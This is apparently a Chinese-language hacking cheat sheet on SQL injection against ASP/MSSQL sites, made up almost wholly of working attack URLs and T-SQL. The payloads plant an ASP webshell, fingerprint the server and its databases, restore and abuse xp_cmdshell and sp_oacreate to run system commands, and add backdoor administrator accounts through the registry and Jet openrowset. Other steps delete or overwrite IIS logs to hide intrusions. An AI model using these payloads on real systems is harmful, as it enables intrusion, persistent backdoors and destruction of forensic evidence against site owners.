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1、 用^转义字符来写ASP(一句话木马)文件的方法:
http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell "echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:mu.asp";--
echo ^<%execute^(request^("l"^)^)%^> >c:mu.asp
2、 显示SQL系统版本:
? http://192.168.1.5/display.asp?keyno=188 and 1=(select @@VERSION)
? http://www.XXXX.com/FullStory.asp?id=1 and 1=convert(int,@@version)--
Microsoft VBScript 编译器错误 错误 "800a03f6"
缺少 "End"
/iisHelp/common/500-100.asp,行242
Microsoft OLE DB Provider for ODBC Drivers 错误 "80040e07"
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value "Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Desktop Engine on Windows NT 5.0 (Build 2195: Service Pack 4) " to a column of data type int.
/display.asp,行17
3、 在检测索尼中国的网站漏洞时,分明已经确定了漏洞存在却无法在这三种漏洞中找到对应的类型。偶然间我想到了在SQL语言中可以使用"in"关键字进行查询,例如"select * from mytable where id in(1)",括号中的值就是我们提交的数据,它的结果与使用"select * from mytable where id=1"的查询结果完全相同。所以访问页面的时候在URL后面加上") and 1=1 and 1 in(1"后原来的SQL语句就变成了"select * from mytable where id in(1) and 1=1 and 1 in(1)",这样就会出现期待已久的页面了。暂且就叫这种类型的漏洞为"包含数字型"吧,聪明的你一定想到了还有"包含字符型"呢。对了,它就是由于类似"select * from mytable where name in("firstsee")"的查询语句造成的。
4、 判断xp_cmdshell扩展存储过程是否存在:
http://192.168.1.5/display.asp?keyno=188 and 1=(select count(*) FROM master.dbo.sysobjects where xtype = "X" AND name = "xp_cmdshell")
恢复xp_cmdshell扩展存储的命令:
http://www.test.com/news/show1.asp?NewsId=125272
;exec master.dbo.sp_addextendedproc "xp_cmdshell","e:inetputwebxplog70.dll";--
5、 向启动组中写入命令行和执行程序:
http://192.168.1.5/display.asp?keyno=188;EXEC master.dbo.xp_regwrite "HKEY_LOCAL_MACHINE","SOFTWAREMicrosoftWindowsCurrentVersionRun","help1","REG_SZ","cmd.exe /c net user test ptlove /add"
6、 查看当前的数据库名称:
? http://192.168.1.5/display.asp?keyno=188 and 0<>db_name(n) n改成0,1,2,3……就可以跨库了
? http://www.XXXX.com/FullStory.asp?id=1 and 1=convert(int,db_name())--
Microsoft VBScript 编译器错误 错误 "800a03f6"
缺少 "End"
/iisHelp/common/500-100.asp,行242
Microsoft OLE DB Provider for ODBC Drivers 错误 "80040e07"
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value "huidahouse" to a column of data type int.
/display.asp,行17
7、 列出当前所有的数据库名称:
select * from master.dbo.sysdatabases 列出所有列的记录
select name from master.dbo.sysdatabases 仅列出name列的记录
8、 不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令:
create TABLE mytmp(info VARCHAR(400),ID int IDENTITY(1,1) NOT NULL)
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate "wscript.shell",@shell output
EXEC sp_oamethod @shell,"run",null,"cmd.exe /c dir c:>c: emp.txt","0","true"
--注意run的参数true指的是将等待程序运行的结果,对于类似ping的长时间命令必需使用此参数。
EXEC sp_oacreate "scripting.filesystemobject",@fso output
EXEC sp_oamethod @fso,"opentextfile",@file out,"c: emp.txt"
--因为fso的opentextfile方法将返回一个textstream对象,所以此时@file是一个对象令牌
WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,"Readline",@out out
insert INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,"AtEndOfStream",@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END
drop TABLE MYTMP
----------
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate "wscript.shell",@shell output
EXEC sp_oamethod @shell,"run",null,"cmd.exe /c cscript C:InetpubAdminScriptsadsutil.vbs set /W3SVC/InProcessIsapiApps "C:WINNTsystem32idq.dll" "C:WINNTsystem32inetsrvhttpext.dll" "C:WINNTsystem32inetsrvhttpodbc.dll" "C:WINNTsystem32inetsrvssinc.dll" "C:WINNTsystem32msw3prt.dll" "C:winntsystem32inetsrvasp.dll">c: emp.txt","0","true"
EXEC sp_oacreate "scripting.filesystemobject",@fso output
EXEC sp_oamethod @fso,"opentextfile",@file out,"c: emp.txt"
WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,"Readline",@out out
insert INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,"AtEndOfStream",@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END
以下是一行里面将WEB用户加到管理员组中:
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate "wscript.shell",@shell output EXEC sp_oamethod @shell,"run",null,"cmd.exe /c cscript C:InetpubAdminScriptsadsutil.vbs set /W3SVC/InProcessIsapiApps "C:WINNTsystem32idq.dll" "C:WINNTsystem32inetsrvhttpext.dll" "C:WINNTsystem32inetsrvhttpodbc.dll" "C:WINNTsystem32inetsrvssinc.dll" "C:WINNTsystem32msw3prt.dll" "C:winntsystem32inetsrvasp.dll">c: emp.txt","0","true" EXEC sp_oacreate "scripting.filesystemobject",@fso output EXEC sp_oamethod @fso,"opentextfile",@file out,"c: emp.txt" WHILE @shell>0 BEGIN EXEC sp_oamethod @file,"Readline",@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,"AtEndOfStream",@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
以下是一行中执行EXE程序:
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate "wscript.shell",@shell output EXEC sp_oamethod @shell,"run",null,"cmd.exe /c cscript.exe E:jeea.net.cnscoreftsimagesiis.vbs lh1 c:>c: emp.txt","0","true" EXEC sp_oacreate "scripting.filesystemobject",@fso output EXEC sp_oamethod @fso,"opentextfile",@file out,"c: emp.txt" WHILE @shell>0 BEGIN EXEC sp_oamethod @file,"Readline",@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,"AtEndOfStream",@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
SQL下三种执行CMD命令的方法:
先删除7.18号日志:
(1)exec master.dbo.xp_cmdshell "del C:winntsystem32logfilesW3SVC5ex050718.log >c: emp.txt"
(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate "wscript.shell",@shell output EXEC sp_oamethod @shell,"run",null,"cmd.exe /c del C:winntsystem32logfilesW3SVC5ex050718.log >c: emp.txt","0","true" EXEC sp_oacreate "scripting.filesystemobject",@fso output EXEC sp_oamethod @fso,"opentextfile",@file out,"c: emp.txt" WHILE @shell>0 BEGIN EXEC sp_oamethod @file,"Readline",@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,"AtEndOfStream",@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
(3)首先开启jet沙盘模式,通过扩展存储过程xp_regwrite修改注册表实现,管理员修改注册表不能预防的原因。出于安全原因,默认沙盘模式未开启,这就是为什么需要xp_regwrite的原因,而xp_regwrite至少需要DB_OWNER权限,为了方便,这里建议使用sysadmin权限测试:
? exec master..xp_regwrite "HKEY_LOCAL_MACHINE","SOFTWAREMicrosoftJet4.0Engines","SandBoxMode","REG_DWORD",1
注:
0 禁止一切(默认)
1 使能访问ACCESS,但是禁止其它
2 禁止访问ACCESS,但是使能其他
3 使能一切
? 这里仅给出sysadmin权限下使用的命令:
select * from openrowset("microsoft.jet.oledb.4.0",";database=c:winntsystem32iasias.mdb","select shell("cmd.exe /c net user admin admin1234 /add")")
? 建立链接数据库"L0op8ack"参考命令:
EXEC sp_addlinkedserver "L0op8ack","OLE DB Provider for Jet","Microsoft.Jet.OLEDB.4.0","c:windowssystem32iasias.mdb"
? 如何使用链接数据库:
使用这个方式可以执行,但是很不幸,DB_OWNER权限是不够的,需要至少sysadmin权限或者securityadmin+setupadmin权限组合
sp_addlinkedserver需要sysadmin或setupadmin权限
sp_addlinkedsrvlogin需要sysadmin或securityadmin权限
最终发现,还是sa权限或者setupadmin+securityadmin权限帐户才能使用,
一般没有哪个管理员这么设置普通帐户权限的
实用性不强,仅作为一个学习总结吧
大致过程如下,如果不是sysadmin,那么IAS.mdb权限验证会出错,
我测试的时候授予hacker这个用户setupadmin+securityadmin权限,使用ias.mdb失败
需要找一个一般用户可访问的mdb才可以:
? 新建链接服务器"L0op8ack":EXEC sp_addlinkedserver "L0op8ack","JetOLEDB","Microsoft.Jet.OLEDB.4.0","c:winntsystem32iasias.mdb";--
? exec sp_addlinkedsrvlogin "L0op8ack","false";--或
exec sp_addlinkedsrvlogin "L0op8ack", "false", NULL, "test1", "ptlove";--
? select * FROM OPENQUERY(L0op8ack, "select shell("cmd.exe /c net user")");--
? exec sp_droplinkedsrvlogin "L0op8ack","false";--
? exec sp_dropserver "L0op8ack";--
再考贝一个其它文件来代替7.18日文件:
(1)exec master.dbo.xp_cmdshell "copy C:winntsystem32logfilesW3SVC5ex050716.log C:winntsystem32logfilesW3SVC5ex050718.log>c: emp.txt"
(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate "wscript.shell",@shell output EXEC sp_oamethod @shell,"run",null,"cmd.exe /c copy C:winntsystem32logfilesW3SVC5ex050716.log C:winntsystem32logfilesW3SVC5ex050718.log>c: emp.txt","0","true" EXEC sp_oacreate "scripting.filesystemobject",@fso output EXEC sp_oamethod @fso,"opentextfile",@file out,"c: emp.txt" WHILE @shell>0 BEGIN EXEC sp_oamethod @file,"Readline",@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,"AtEndOfStream",@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
(3)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate "wscript.shell",@shell output EXEC sp_oamethod @shell,"run",null,"cmd.exe /c net user>c: emp.txt","0","true" EXEC sp_oacreate "scripting.filesystemobject",@fso output EXEC sp_oamethod @fso,"opentextfile",@file out,"c: emp.txt" WHILE @shell>0 BEGIN EXEC sp_oamethod @file,"Readline", ut out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,"AtEndOfStream",@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
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